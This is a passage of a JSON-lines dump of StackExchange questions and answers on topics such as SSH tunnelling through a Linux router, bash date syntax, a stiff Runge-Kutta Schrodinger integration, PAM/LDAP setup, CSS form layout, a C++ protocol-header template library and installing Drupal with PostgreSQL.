mean better code. I'm looping while this single request for input is bad. Previously, your entire program would stop if any input was bad. Bad input happens! Just ask again.I excluded negative inputs as well, since I don't think a negative side-length makes sense in most contexts.Now you can just call this function 3 times:side1 = ask_side_length(first)side2 = ask_side_length(second)side3 = ask_side_length(third)Practice turning repetitious code into a function. Really, that cannot be stressed enough. This will save you and your readers from tears."  } 
{  "id": "_unix.204508"  , "question": "I have three Linux machines that connected as the following:   Linux_machine1  -->  Route_linux_machine -->  Linux_machine2How to ssh from Linux_machine1   to Linux_machine2 Only VIA Route_linux_machineLike Route_linux_machine is route get-way to Linux_machine2"  , "title": "How to connect between two Linux machines VIA Linux router machine"  , "tags": "linux;route"  , "accepted_answer": "It depends on what the Route_linux_machine is.Route_linux_machine is a routerIf it's only a router (means, no SSH service/account there): then you should add some iptables rules to redirect network traffic. For instance, something like:iptables -t nat -A PREROUTING -d linux_machine2_alias \\    -p TCP --dport 22 -j DNAT --to-destination linux_machine2:22(where linux_machine2_alias is another IP address, owned by route_linux_machine)Then, from your machine, you have to SSH to linux_machine2_alias (which actually is the router) who will redirect it to linux_machine2.Route_linux_machine is a SSH gatewayIf you have a SSH account on Route_linux_machine, then you can make an SSH tunnel.ssh user@route_linux_machine -L2222:linux_machine2:22Then, the 2222 port of your own machine will be redirected to the port 22 of linux_machine2 via route_linux_machine. You'd just have to do:ssh user@localhost -p 2222While it looks like you're connecting to your own machine (localhost), you will actually be redirected to linux_machine2.As an alternative, if you don't want to use tunnel, you can use nested ssh commands:ssh -t -A user@route_linux_machine ssh user@linux_machine2It will prompt you first for route_linux_machine password, then linux_machine2 password."  } 
{  "id": "_softwareengineering.279681"  , "question": "I currently have a MySQL Relational Database with a users table with the following attributes:ID (Primary key)NameUsername (Unique)PasswordEmail (Unique)DescriptionProfile Picture File PathI am really struggling with the normalization of the user's information since username and email are unique. Is this table normalized, if so, is it BCNF? or 3NF?"  , "title": "MySQL Database normalization for a user model"  , "tags": "database design;normalization"  } 
{  "id": "_webapps.46704"  , "question": "It's usually fairly easy to edit the text of a post you made on Facebook  you simply click the button on the upper right area of the post and it offers you the option of Edit or Delete. However, if you've added a photo and you then try to edit the text, your option is only limited to whether you wish to alter or delete the photo. The option to edit text is not offered.Any way around this?"  , "title": "Editing the text of a Facebook post that includes a photo"  , "tags": "facebook"  } 
{  "id": "_unix.279775"  , "question": "In my script, the following code successfully produces a timestamp variable for $n in the format  2016-04-28T15:47:48for n in $(perl parsetime.pl | sed s/.....$//)doecho $nresult is:2016-04-28T15:47:48However, I now want to use this variable to calculate the time 15 minutes earlier. Someone else provided me the syntax to produce the timestamp in the correct format (which worked)-this was achieved like this:/opt/bin/date --date '-15 minutes 2016-04-28T15:39:27' +%Y-%m-%dT%H:%I:%Sresult is:2016-04-28T09:09:27However, my issue is now, when I try to use the $n variable instead of writing out the actual timestamp I get the message like this I get an error message.for n in $(perl parsetime.pl | sed s/.....$//)do/opt/bin/date --date '-15 minutes $n' +%Y-%m-%dT%H:%I:%S result:/opt/bin/date: invalid date `-15 minutes $nWhat am I doing wrong? How can I incorporate the $n variable into the code correclty? "  , "title": "Correct syntax for inputting date variable into date calculation code"  , "tags": "linux;bash;shell script;timestamps"  , "accepted_answer": "The problem is here:'-15 minutes $n'Single quotes stop variable substitution, so you're literally passing $n in rather than the contents of the variable. Write:/opt/bin/date --date -15 minutes $n '+%Y-%m-%dT%H:%I:%S'instead."  } 
{  "id": "_scicomp.19210"  , "question": "I'm currently taking a course in computational physics. I'm new to computational physics and programming in general. I'm using numerical recipes to try and integrate the radial Schrodinger equation with a Lennard-jones potential.$$\\left[ \\frac{\\hbar^2}{2m}\\frac{d^2}{dr^2} + \\left( E-V(r)-\\frac{\\hbar^2 l (l+1)}{2mr^2}\\right) \\right] u_l(r)=0$$$$V(r)= \\epsilon \\left[ \\left( \\frac{\\rho}{r} \\right)^{12}-2\\left(\\frac{\\rho}{r}\\right)^6 \\right]$$Numerical recipes has a function called odeint which will use a fifth-order Runge-Kutta algorithm to integrate an ordinary differential equation for you. The function has an adjustable step-size which appears to be causing problems in my code. Namely, my step-size is going to zero, which causes numerical recipes to throw an error and exit prematurely. I am doing the integration from $r_{min}=\\frac{\\rho}{2}$ to $r_{max}=5\\rho$ numerically, and up to my minimum value analytically in order to take care of the singularity at zero. I have attached my code below, and more information on odeint and how it works can be found at: http://www.itp.uni-hannover.de/Lehre/cip/odeint_c.pdf. Can anyone help me understand where I'm going wrong?#include <stdio.h>#include <math.h>#define NRANSI#include nr.h#include nrutil.h#define N 2float dxsav,*xp,**yp;  /* defining declarations */int kmax,kount;int nrhs;   /* counts function evaluations *//* Schrodinger equation and L-J parameters */double alpha = 6.12; double rho = 3.57;double epsilon = 5.9;double l = 1.0;double energy = 3;double rmin=1.785;double rmax=17.85;void derivs(float x,float y[],float dydx[]){    nrhs++;    printf(xodeint check: x=%f\\n, x);    dydx[1] = y[2];    dydx[2]=alpha*((l*(l+1)/(alpha*x*x))+epsilon*(pow(rho/x,12)-2*pow(rho/x,6))-energy)*y[1];}int main(void){    int i,nbad,nok;    float eps=1.0e-4,h1=0.1,hmin=0,x1=rmin,x2=rmax,*ystart;    ystart=vector(1,N);    xp=vector(1,200);    yp=matrix(1,10,1,200);    ystart[1]=0.93583;    ystart[2]=0.17385;    nrhs=0;    kmax=100;    dxsav=(x2-x1)/20.0;//  printf(%f\\n, h1);    odeint(ystart,N,x1,x2,eps,h1,hmin,&nok,&nbad,derivs,rkqs);    printf(\\n%s %13s %3d\\n,successful steps:, ,nok);    printf(%s %20s %3d\\n,bad steps:, ,nbad);    printf(%s %9s %3d\\n,function evaluations:, ,nrhs);    printf(\\n%s %3d\\n,stored intermediate values:    ,kount);    printf(\\n%8s %18s %15s\\n,r,integral,x^2);    for (i=1;i<=kount;i++)        printf(%10.4f %16.6f %14.6f\\n,xp[i],yp[1][i],xp[i]*xp[i]);    free_matrix(yp,1,10,1,200);    free_vector(xp,1,200);    free_vector(ystart,1,N);    return 0;}#undef NRANSIThis outputs Numerical Recipes run-time error...stepsize underflow in rkqs...now exiting to system..."  , "title": "Integrating radial Schrodinger equation with Lennard-Jones potential using Runge-Kutta with adaptive step size ends up with a step-size of zero"  , "tags": "quantum mechanics;runge kutta"  , "accepted_answer": "I know this problem well from my own research: it is given by the fact that the equation is very stiff. Thus, it is likely that you're doing nothing wrong (--although I haven't inspected your code). So where does the stiffness come from? The problemIn order to solve the equation numerically, it is common to pick a grid and use finite-differences to discretize the functions and operators. For simplicity, let's say your grid is equally spaces with a spacing of $\\Delta x$. Usually, one wants to choose $\\Delta x$ small in order to achieve a good approximation.Now for an analysis of the terms in your equation: The kinetic energy term (i.e. the derivative) leads to upper energies of $\\mathcal O(\\frac{1}{\\Delta x^2})$, as the largest frequency which is representable on the grid is $\\mathcal O(\\frac{1}{\\Delta x})$. (I'm lazy so I write $\\mathcal O$ here--you surely know the formulas). This term is contained in any Schrdinger equations and does not really pose a problem.Now let's consider the potential functions. Those are diagonal on the grid, so a function $1/r^k$ will have a largest energy of $1/(\\Delta x^k)$. In your equation, you have a maximum $k$ of $12$. It is this term which primarily kills your propagation.ExplanationWhy does this term poses a large problem? Consider your complete discretized Hamiltonian matrix $H$ (which is symmetric), and an expansion of your wavefunction in terms of your grid. The explicit solution of the Schrdinger equation is given by$$\\psi(t) = \\exp(i H t) \\psi(t=0)\\,.$$Note that there is no time-ordering operator as the Hamiltonian is time-independent. Now make an eigendecomposition of your Hamiltonian, $H = U E U^\\dagger$. Then, the exponential may be represented as $\\exp(i H t) = U \\exp(i E t) U^\\dagger$. If you now have a very large eigenenergy $e_{max}$ in your diagonal matrix $E$, then you have a term like $exp(ie_{max} t)$ in your propagation.Here enters the Shannon theorem (or alternatively the Fourier transformation), which states that in order to sample this function well, it should be $\\Delta t \\sim 1/e_{max}$. Otherwise, you get weird things like aliasing effects, which spoil your solution.For the sake of convenience, one can approximate the maximal eigenenergies the complete Hamiltonian as the sum of the maximal eigenenergies of it's terms. With this, you see that the time step needs to be as small as $\\Delta t \\sim 1/\\Delta x$. That is, if your $\\Delta x$ is $10^{-2}$ (no units here, you know them), you'd need a time step of $\\sim 10^{-24}$. Adaptive stepize integrators will thus lower and lower the stepsize, until they arrive their underflow constant.This is a rather un-mathematical treatment so don't quote me on the numbers, but it intuitively explains the occuring effects.Suggested solutionThere is a simple alternative which I think is suited to your problem, which is often called the spectral method. It is applicable if your grid has a small to medium size -- say up to $N=10000$ gridpoints -- which I guess is the case here. Then, in fact, it is the method of choice for your problem.The solution is then simply to calculate the matrix exponential $\\exp(iHt)$ as sketched above, and apply it to your initial wavefunction vector. The costs are $\\mathcal O(N^3)$ for the diagonalization, but you need to execute it only once. Plus, by this you get the exact numerical solution -- the solution all those ODE methods try to achieve.The downside is that this approach is only applicable when the Hamiltonian is time-independent. Otherwise, when it changes over time, you'd need to diagonalize it often anew."  } 
{  "id": "_webmaster.10496"  , "question": "For the image title of my website medium-small(150x50) white background with some effects on title (example: google title image)I saved the image in .gif and .png with result:.gif size = 3.09 kB.png size = 7.59 kBThe .png is 2x bigger than .gif.Everyone are saying me to use .PNG, but why I should use it  if .gif are better"  , "title": "GIF vs PNG which to use?"  , "tags": "png;gif"  , "accepted_answer": "PNG almost always gives better compression than GIF, but you need to make sure you're saving the image as an 8-bit PNG. Often graphics programs will save as a 24-bit PNG, which may be why you're seeing the results you are. If you say what program you are using we may be able to advise how to save as an 8-bit PNG.You can also run the resulting file through either pngout or pngcrush which will reduce the file size even further.Really the only reason to use GIF over PNG these days is if you need animation."  } 
{  "id": "_unix.75344"  , "question": "From Xfce Docs:In case you want to override the DPI (dots per inch) value calculated  by the X-server, you can select the checkbox and use the spin box to  specify the resolution to use when your screen renders fonts.But how does X-server do its calculation?  What assumptions are made in the process and can some of the parameters be overridden?It may know how many pixels I have on my display, but is that enough?"  , "title": "How does X-server calculate DPI?"  , "tags": "xorg;x11;display settings;resolution;x server"  } 
{  "id": "_codereview.108592"  , "question": "I read the following question: Searching an element in a sorted array and I thought that I could give it a try in Python.Given a sorted list of integers and an integer. Return the (index) bounds of the sequence of this element in the list.Example:l = [1, 2, 2, 3, 3, 3, 4, 4, 4, 4, 4, 4, 6, 7, 8, 9, 9, 9, 9]0 not found in list1:(0, 0)2:(1, 2)3:(3, 5)4:(6, 11)5 not found in list6:(12, 12)7:(13, 13)8:(14, 14)9:(15, 18)Here is my program (using Python 3).It uses a dichotomic search and returns the bounds to help the search of the start and end of the sequence.def main():    l = [1, 2, 2, 3, 3, 3, 4, 4, 4, 4, 4, 4, 6, 7, 8, 9, 9, 9, 9]    print(l)    for i in range(10):        try:            print(find_sequence(i, l))        except Exception as e:            print(str(e))def find_sequence(x, l):    Return a tuple (begin, end) containing the index bounds of the sequence of x    left, found, right = dichotomic_search(x, l)    begin = outside_bound(x, l, left, found)    end = outside_bound(x, l, right, found)    return begin, enddef outside_bound(x, l, outside, inside):    Return the outside bound of the sequence    if l[outside] == x:        return outside    middle = -1    previous_middle = -2    while middle != previous_middle:        previous_middle = middle        middle = (outside + inside) // 2        if l[middle] == x:            inside = middle        else:            outside = middle    return insidedef dichotomic_search(x, l):    Return a tuple of indexes (left, found, right)    left: leftmost index where x might be found    found: index where x is    right: rightmost index where x might be found        left = 0    right = len(l) - 1    if l[left] > x or l[right] < x:        raise Exception(str(x) + ' not found in list')    if l[left] == x:        return left, left, right    if l[right] == x:        return left+1, right, right # we know that l[left]!=x    while left < right:        middle = (left + right) // 2        if l[middle] == x:            return left, middle, right        elif l[middle] < x:            left = middle + 1 # to prevent fixed point        elif l[middle] > x:            right = middle # impossible to do -1 because of the integer division    raise Exception(str(x) + ' not found in list')if __name__ == __main__:    main()I'm not so fond of the middle != previous_middle, but I didn't find a more elegant way (yet)."  , "title": "Locating a sequence in a sorted array"  , "tags": "python;python 3.x;reinventing the wheel;binary search"  } 
{  "id": "_unix.304297"  , "question": "/etc/pam.d/ has several files and running auth-config updates many of those. I need to know exactly which file needs to be updated to support LDAP based login using SSH / Console."  , "title": "Files that need to be updated in /etc/pam.d/ for nss-pam-ldapd support for SSH"  , "tags": "centos;pam;ldap;nss"  , "accepted_answer": "Typically there will be a file under /etc/pam.d/ called sshd, but it usually only contains a few lines similar to this:auth       include  system-remote-loginaccount    include  system-remote-loginpassword   include  system-remote-loginsession    include  system-remote-loginThese are references to the other files in the /etc/pam.d/ directory that contain the PAM directives common to all security functions on your machine. If you want LDAP authentication for SSH only, you would change the sshd file itself. If you are trying to setup LDAP authentication for the entire system (i.e. local login as well as SSH), you will need to edit the common PAM files for all logins.A typical sshd configuration file for LDAP auth would look something like this:auth       files ldapaccount    files ldappassword   files ldapsession    files ldapHowever, this assumes you aren't using SSSD and only want LDAP authentication for SSHD and no other services. This configuration allows local logins on the target server to work in the event LDAP authentication fails for whatever reason. You may or may not want that behavior. Be aware also that depending on how your LDAP server is configured, this may result in user logins being sent in cleartext over the network.Here is a comprehensive setup guide for LDAP authentication on CentOS, but it is geared towards using LDAP for both local logins as well as services (including SSH)."  } 
{  "id": "_codereview.78307"  , "question": "I'm trying to have a HTML / CSS structure for flexible layouts for forms. I tried to look at Bootstrap codes for help with this (without actually using Bootstrap itself). I've gone with something along these lines:http://cssdeck.com/labs/stidyuic* {padding: 0; margin: 0; box-sizing: border-box;}body {width: 80%; margin: 0 auto; margin-top: 30px;}.form-row {  display: block;}.form-group:first-child {  padding-left: 0px;}.form-group {  margin-bottom: 20px;  float: left;  padding-left: 20px;}.col-6 {  width: 50%;}.col-3 {  width: 25%;}label {  display: block;  margin-bottom: 10px;  font-weight: bold;}.form-control {  display: block;  width: 100%;  height: 34px;  padding: 6px 12px;  font-size: 14px;  line-height: 1.42857;  color: #555;  vertical-align: middle;  background-color: #FFF;  background-image: none;  border: 1px solid #CCC;  border-radius: 4px;  box-shadow: 0px 1px 1px rgba(0, 0, 0, 0.075) inset;  transition: border-color 0.15s ease-in-out 0s, box-shadow 0.15s ease-in-out 0s;}input, button, select, textarea {  font-family: inherit;  font-size: inherit;}form {  display: block;  margin-top: 0em;}<div class=form-row>               <div class=col-6 form-group>                  <label class=control-label>Title</label>                  <input class=form-control placeholder=Test size=4 type=text>               </div>               <div class=col-3 form-group>                  <label class=control-label>Category</label>                  <select class=form-control>                     <option value=A>                        A                     </option>                     <option value=B>                        B                     </option>                  </select>               </div>               <div class=col-3 form-group>                  <label class=control-label>Type</label>                  <select class=form-control>                     <option>                        A                     </option>                     <option>                        B                     </option>                     <option>                        C                     </option>                  </select>               </div></div>I want to be able to do the following:Have anywhere from 1 to four inputs on each row.Have the label above the formModify the form layout with CSS when the resolution changes (media query)Questions:Is it a sensible approach to use this code structure in order toachieve this?Is taking Bootstraps form structure a logical approach to this problem?"  , "title": "HTML and CSS markup for flexible form layout"  , "tags": "html;css;form;layout"  , "accepted_answer": "Your code looks perfectly fine.  In fact, it all validates by the validators at W3C perfectly fine, with one exception - your HTML file should be structured like this:<!DOCTYPE html><html>    <head>        <meta charset=UTF-8 />        <title>Your Page Title Here</title>        <!-- other code here -->    </head>    <body>        <!-- your display code here -->    </body></html>The validators can be found here:HTML validatorCSS validatorYour code seems perfectly fine the way it is, and I would say the only thing wrong with it is from the user's perspective.  You have the Category menu overlapping the Title menu, which is not good; you should adjust your columns to prevent this."  } 
{  "id": "_codereview.136105"  , "question": "I'm starting with implementing a TCP/IP stack for embedded systems which will be done in C++ and I've found I need a good way to work with protocol headers involved (e.g. ARP, IP, TCP). Major requirements are:Portable, C++(11) standard compliant (e.g. no structure packing, independent of CPU endianness).Completely correct (e.g. no potential strict-aliasing violations).Minimal boilerplate for both definition of headers and access.Ability to read and write fields of headers in arbitrary memory locations (no need to work on a copy of data).Efficient (e.g. no runtime metainformation about headers).I've produced a solution which relies heavily on template metaprogramming. The code is below, it's quite some number of lines, though much of it is comments. The full code along with required headers can be found in my open-source project here. Below is also some example code which demonstrates how it can be used.I'd like to get some feedback about how to make it better, in any respect. For example to make usage less verbose; currently, it still needs a bit more typing than pointer->field. Or any ideas about the interactions between the Val, Ref and ConstRef classes.Code:/** * This class is specialized for different field types * to define type-specific behavior, e.g. how to * encode a logical value into bytes and how to decode * bytes into a value. */template <typename Type, typename Dummy=void>struct StructTypeHandler;#define APRINTER_STRUCT_REGISTER_TYPE(Type, TypeHandler) \\template <> \\struct StructTypeHandler<Type, void> { \\    using Handler = TypeHandler; \\};template <typename TType>struct StructField {    using Type = TType;};/** * Base class for protocol structure definitions. *  * Notable features of the system are: * - Automatic endianness handling (big endian encoding is used). *   That is, the user always interacts with logical values while *   the framework manages the byte-level representaion. * - Can reference structures in existing memory (no need for pointer *   casts violatign strict aliasing). * - Support for nested structures. * - Ability to define custom field types. *  * Structures should be defined through the APRINTER_TSTRUCT macro which * results in a struct type inheriting StructBase. Example: *  * \\code * APRINTER_TSTRUCT(MyHeader, *     (FieldA, uint32_t) *     (FieldB, uint64_t) * ) * \\endcode *  * Each field specified will result in a type within this structure that * is used as an identifier for the field (e.g. MyHeader::FieldA). *  * There will be three classes within the main structure providing * different ways to work with structure data: * - Val: contains structure data as char[]. * - Ref: references structure data using char *. * - ConstRef: references structure data using char const *. *  * Note that the structure type itself (MyHeader) has no runtime use, it * is a zero-sized structure. *  * Note, internally APRINTER_TSTRUCT will expand to something like this: *  * struct MyHeader : public StructBase\\<MyHeader\\> { *      struct FieldA : public StructField\\<uint32_t\\>; *      struct FieldB : public StructField\\<uint64_t\\>; *      using StructFields = MakeTypeList\\<FieldA, FieldB\\>; * }; */template <typename TStructType>class StructBase {private:    using StructType = TStructType;    template <typename This=StructBase>    using Fields = typename This::StructType::StructFields;    template <int FieldIndex, typename Dummy=void>    struct FieldInfo;    template <typename Dummy>    struct FieldInfo<-1, Dummy> {        static size_t const StructSize = 0;    };    template <int FieldIndex, typename Dummy>    struct FieldInfo {        using PrevFieldInfo = FieldInfo<FieldIndex-1, void>;        using Field = TypeListGet<Fields<>, FieldIndex>;        using Handler = typename StructTypeHandler<typename Field::Type>::Handler;        using ValType = typename Handler::ValType;        static size_t const FieldOffset = PrevFieldInfo::StructSize;        static size_t const FieldSize = Handler::FieldSize;        static size_t const StructSize = FieldOffset + FieldSize;    };    template <typename Field, typename This=StructBase>    using GetFieldInfo = FieldInfo<TypeListIndex<Fields<This>, Field>::Value, void>;    template <typename This=StructBase>    using LastFieldInfo = FieldInfo<TypeListLength<Fields<This>>::Value-1, void>;public:    class Ref;    class ConstRef;    class Val;    /**     * Gets the value type of a specific field.     *      * Example: ValType\\<MyHeader::FieldA\\> is uint32_t.     *      * @tparam Field field identifier     */    template <typename Field>    using ValType = typename StructTypeHandler<typename Field::Type>::Handler::ValType;    /**     * Gets the reference type of a specific field.     * Support for this depends on the type handler (e.g. nested structures).     */    template <typename Field>    using RefType = typename StructTypeHandler<typename Field::Type>::Handler::RefType;    /**     * Gets the const-reference type of a specific field.     * Support for this depends on the type handler (e.g. nested structures).     */    template <typename Field>    using ConstRefType = typename StructTypeHandler<typename Field::Type>::Handler::ConstRefType;    /**     * Returns the size of the structure.     */    inline static constexpr size_t Size ()     {        return LastFieldInfo<>::StructSize;    }    /**     * Reads a field.     *      * @tparam Field field identifier     * @param data pointer to the start of a structure     * @return field value that was read     */    template <typename Field>    inline static ValType<Field> get (char const *data, Field)    {        using Info = GetFieldInfo<Field>;        return Info::Handler::get(data + Info::FieldOffset);    }    /**     * Writes a field.     *      * @tparam Field field identifier     * @param data pointer to the start of a structure     * @param value field value to set     */    template <typename Field>    inline static void set (char *data, Field, ValType<Field> value)    {        using Info = GetFieldInfo<Field>;        Info::Handler::set(data + Info::FieldOffset, value);    }    /**     * Returns a reference to a field.     * Support for this depends on the type handler (e.g. nested structures).     */    template <typename Field>    inline static RefType<Field> ref (char *data, Field)    {        using Info = GetFieldInfo<Field>;        return Info::Handler::ref(data + Info::FieldOffset);    }    /**     * Returns a const reference to a field.     * Support for this depends on the type handler (e.g. nested structures).     */    template <typename Field>    inline static ConstRefType<Field> ref (char const *data, Field)    {        using Info = GetFieldInfo<Field>;        return Info::Handler::const_ref(data + Info::FieldOffset);    }    /**     * Returns a Ref class referencing the specified memory.     *      * @param data pointer to the start of a structure     */    inline static Ref MakeRef (char *data)    {        return Ref{data};    }    /**     * Returns a ConstRef class referencing the specified memory.     *      * @param data pointer to the start of a structure     */    inline static ConstRef MakeRef (char const *data)    {        return ConstRef{data};    }    /**     * Reads a structure from the specified memory location and     * returns a Val class containing the structure data.     *      * @param data pointer to the start of a structure     * @return a Val class initialized with a copy of the data     */    inline static Val MakeVal (char const *data)    {        Val val;        memcpy(val.data, data, Size());        return val;    }    /**     * Class which contains structure data.     * These can be created using StructBase::MakeVal or from     * the Val conversion operators in Ref and ConstRef.     */    class Val {    public:        using Struct = StructType;        /**         * Reads a field.         * @see StructBase::get         */        template <typename Field>        inline ValType<Field> get (Field) const        {            return StructBase::get(data, Field());        }        /**         * Writes a field.         * @see StructBase::set         */        template <typename Field>        inline void set (Field, ValType<Field> value)        {            StructBase::set(data, Field(), value);        }        /**         * Returns a reference to a field.         * @see StructBase::ref         */        template <typename Field>        inline RefType<Field> ref (Field)        {            return StructBase::ref(data, Field());        }        /**         * Returns a const reference to a field.         * @see StructBase::ref         */        template <typename Field>        inline ConstRefType<Field> ref (Field) const        {            return StructBase::ref(data, Field());        }        /**         * Returns a Ref referencing this Val.         */        inline operator Ref ()        {            return Ref{data};        }        /**         * Returns a ConstRef referencing this Val.         */        inline operator ConstRef () const        {            return ConstRef{data};        }    public:        /**         * The data array.         */        char data[LastFieldInfo<>::StructSize];    };    /**     * Structure access class referencing external data via     * char *.     * Can be initialized via StructBase::MakeRef or Ref{data}.     */    class Ref {    public:        using Struct = StructType;        /**         * Reads a field.         * @see StructBase::get         */        template <typename Field>        inline ValType<Field> get (Field) const        {            return StructBase::get(data, Field());        }        /**         * Writes a field.         * @see StructBase::set         */        template <typename Field>        inline void set (Field, ValType<Field> value) const        {            StructBase::set(data, Field(), value);        }        /**         * Returns a reference to a field.         * @see StructBase::ref         */        template <typename Field>        inline RefType<Field> ref (Field) const        {            return StructBase::ref(data, Field());        }        /**         * Returns a ConstRef referencing the same memory.         */        inline operator ConstRef () const        {            return ConstRef{data};        }        /**         * Reads and returns the current structure data as a Val.         */        inline operator Val () const        {            return MakeVal(data);        }        /**         * Copies the structure referenced by a ConstRef         * over the structure referenced by this Ref.         * Note: uses memcpy, so don't use with self.         */        inline void load (ConstRef src) const        {            memcpy(data, src.data, Size());        }    public:        char *data;    };    /**     * Structure access class referencing external data via     * char const *.     * Can be initialized via StructBase::MakeRef or ConstRef{data}.     */    class ConstRef {    public:        using Struct = StructType;        /**         * Reads a field.         * @see StructBase::get         */        template <typename Field>        inline ValType<Field> get (Field) const        {            return StructBase::get(data, Field());        }        /**         * Returns a const reference to a field.         * @see StructBase::ref         */        template <typename Field>        inline ConstRefType<Field> ref (Field) const        {            return StructBase::ref(data, Field());        }        /**         * Reads and returns the current structure data as a Val.         */        inline operator Val () const        {            return MakeVal(data);        }    public:        char const *data;    };};/** * Macro for defining structures. * @see StructBase */#define APRINTER_TSTRUCT(StructName, Fields) \\struct StructName : public APrinter::StructBase<StructName> { \\    APRINTER_TSTRUCT__ADD_END(APRINTER_TSTRUCT__FIELD_1 Fields) \\    using StructFields = APrinter::MakeTypeList< \\        APRINTER_TSTRUCT__ADD_END(APRINTER_TSTRUCT__LIST_0 Fields) \\    >; \\};#define APRINTER_TSTRUCT__ADD_END(...) APRINTER_TSTRUCT__ADD_END_2(__VA_ARGS__)#define APRINTER_TSTRUCT__ADD_END_2(...) __VA_ARGS__ ## _END#define APRINTER_TSTRUCT__FIELD_1(FieldName, FieldType) \\struct FieldName : public APrinter::StructField<FieldType> {}; \\APRINTER_TSTRUCT__FIELD_2#define APRINTER_TSTRUCT__FIELD_2(FieldName, FieldType) \\struct FieldName : public APrinter::StructField<FieldType> {}; \\APRINTER_TSTRUCT__FIELD_1#define APRINTER_TSTRUCT__FIELD_1_END#define APRINTER_TSTRUCT__FIELD_2_END#define APRINTER_TSTRUCT__LIST_0(FieldName, FieldType) FieldName APRINTER_TSTRUCT__LIST_1#define APRINTER_TSTRUCT__LIST_1(FieldName, FieldType) , FieldName APRINTER_TSTRUCT__LIST_2#define APRINTER_TSTRUCT__LIST_2(FieldName, FieldType) , FieldName APRINTER_TSTRUCT__LIST_1#define APRINTER_TSTRUCT__LIST_1_END#define APRINTER_TSTRUCT__LIST_2_END/** * Structure field type handler for integer types using * big-endian representaion. * These type handlers are registered by default for signed and * unsigned fixed-width types: intN_t and uintN_t (N=8,16,32,64). *  * Relies on ReadBinaryInt and WriteBinaryInt. */template <typename Type>struct StructBinaryTypeHandler {    static size_t const FieldSize = sizeof(Type);    using ValType = Type;    inline static ValType get (char const *data)    {        return ReadBinaryInt<Type, BinaryBigEndian>(data);    }    inline static void set (char *data, ValType value)    {        WriteBinaryInt<Type, BinaryBigEndian>(value, data);    }};#define APRINTER_STRUCT_REGISTER_BINARY_TYPE(Type) \\APRINTER_STRUCT_REGISTER_TYPE(Type, StructBinaryTypeHandler<Type>)APRINTER_STRUCT_REGISTER_BINARY_TYPE(uint8_t)APRINTER_STRUCT_REGISTER_BINARY_TYPE(uint16_t)APRINTER_STRUCT_REGISTER_BINARY_TYPE(uint32_t)APRINTER_STRUCT_REGISTER_BINARY_TYPE(uint64_t)APRINTER_STRUCT_REGISTER_BINARY_TYPE(int8_t)APRINTER_STRUCT_REGISTER_BINARY_TYPE(int16_t)APRINTER_STRUCT_REGISTER_BINARY_TYPE(int32_t)APRINTER_STRUCT_REGISTER_BINARY_TYPE(int64_t)/** * Type handler for structure types, allowing nesting of structures. *  * It provides: * - get() and set() operations using StructType::Val. * - ref() operations using StructType::Ref and StructType::ConstRef. */template <typename StructType>struct StructNestedTypeHandler {    static size_t const FieldSize = StructType::Size();    using ValType = typename StructType::Val;    using RefType = typename StructType::Ref;    using ConstRefType = typename StructType::ConstRef;    inline static ValType get (char const *data)    {        return StructType::MakeVal(data);    }    inline static void set (char *data, ValType value)    {        memcpy(data, value.data, sizeof(value.data));    }    inline static RefType ref (char *data)    {        return RefType{data};    }    inline static ConstRefType const_ref (char const *data)    {        return ConstRefType{data};    }};template <typename Type>struct StructTypeHandler<Type, EnableIf<__is_base_of(StructBase<Type>, Type), void>> {    using Handler = StructNestedTypeHandler<Type>;};Example code:APRINTER_TSTRUCT(HeaderFoo,    (FieldA, int8_t)    (FieldB, int64_t))APRINTER_TSTRUCT(HeaderBar,    (FieldC,   int8_t)    (FieldD,   uint32_t)    (FieldFoo, HeaderFoo))void main (){    // Create a FooHeader::Val (a type which contains data), set field values.    HeaderFoo::Val foo;    foo.set(HeaderFoo::FieldA(), 30);    foo.set(HeaderFoo::FieldB(), -55);    // Change it via FooHeader::Ref (a type which references data).    HeaderFoo::Ref foo_ref = foo;    foo_ref.set(HeaderFoo::FieldA(), 61);    // Get values via FooHeader::ConstRef (a type which references const data).    // Note: Val, Ref and ConstRef all suppport get().    HeaderFoo::ConstRef foo_cref = foo;    printf(% PRIi8  % PRIi64 \\n,        foo_cref.get(HeaderFoo::FieldA()),        foo_cref.get(HeaderFoo::FieldB()));    // Allocate memory for a HeaderBar as char[] and initialize    // parts of it through HeaderBar::Ref.    char bar_mem[HeaderBar::Size()];    HeaderBar::Ref bar_ref = HeaderBar::MakeRef(bar_mem);    bar_ref.set(HeaderBar::FieldC(), -75);    bar_ref.set(HeaderBar::FieldD(), 70000);    // Initialize the nested HeaderFoo from foo.    // This goes like this:    // - Get a reference to the contained HeaderFoo via .ref(),    //   obtaining a HeaderFoo::Ref.    // - Call load() on the HeaderFoo::Ref to copy data from a    //   HeaderFoo::ConstRef, which is created from HeaderFoo::Val    //   automatically by a conversion operator.    bar_ref.ref(HeaderBar::FieldFoo()).load(foo);    // Get the nested HeaderFoo from bar_ref as a value.    // This will be a HeaderFoo::Val.    // Change the original to prove it's a copy.    auto foo_copy = bar_ref.get(HeaderBar::FieldFoo());    bar_ref.ref(HeaderBar::FieldFoo()).set(HeaderFoo::FieldA(), 4);    printf(% PRIi8  % PRIi8 \\n,        bar_ref.ref(HeaderBar::FieldFoo()).get(HeaderFoo::FieldA()),        foo_copy.get(HeaderFoo::FieldA()));}"  , "title": "Library for manipulation of binary protocol headers"  , "tags": "c++;serialization;template meta programming;portability"  } 
{  "id": "_unix.191582"  , "question": "I want to connect to PostgreSQL 9 from Drupal 7.to install drupal files using the following steps.wget http://ftp.drupal.org/files/projects/drupal-7.15.tar.gz      tar zxvf drupal-7.15.tar.gz    sudo mv drupal-7.15/* /var/www/     cd /var/www/    cp sites/default/default.settings.phpsites/default/settings.phpchmod a+w sites/default/settings.php  chmod a+w sites/defaultto install PostgreSQL database.createuser --pwprompt --encrypted --no-adduser --no-createdbusername createdb --encoding=UNICODE --owner=username databasenameto input my_domain in Firefox. It ran across the message: Maybe it is a problem that Drupal installation program can not access the PostgreSQL database. How to fix it?"  , "title": "How to connect to PostgreSQL 9 from Drupal 7?"  , "tags": "postgresql;drupal"  , "accepted_answer": "By just reading the title of this question, I thought it was about How to connect from a Drupal site to some external database in PostGress format. However the details of the question are about How to use Postgress as the DBMS for hosting the database required for a Drupal site. Consider rephrasing the question title accordingly.To actually answer this question, consider looking at Install Drupal with PostgreSQL. Here is a quote from that link:Drupal is an excellent PHP content management system. It supports both MySQL and PostgreSQL as the back end database for content management. Unfortunately, PostgreSQL comes up short in the documentation department: it is not even mentioned in the Drupal INSTALL.txt file. So here we do our small part for the cause and provide some instructions to get Drupal up and running with PostgreSQL."  } 
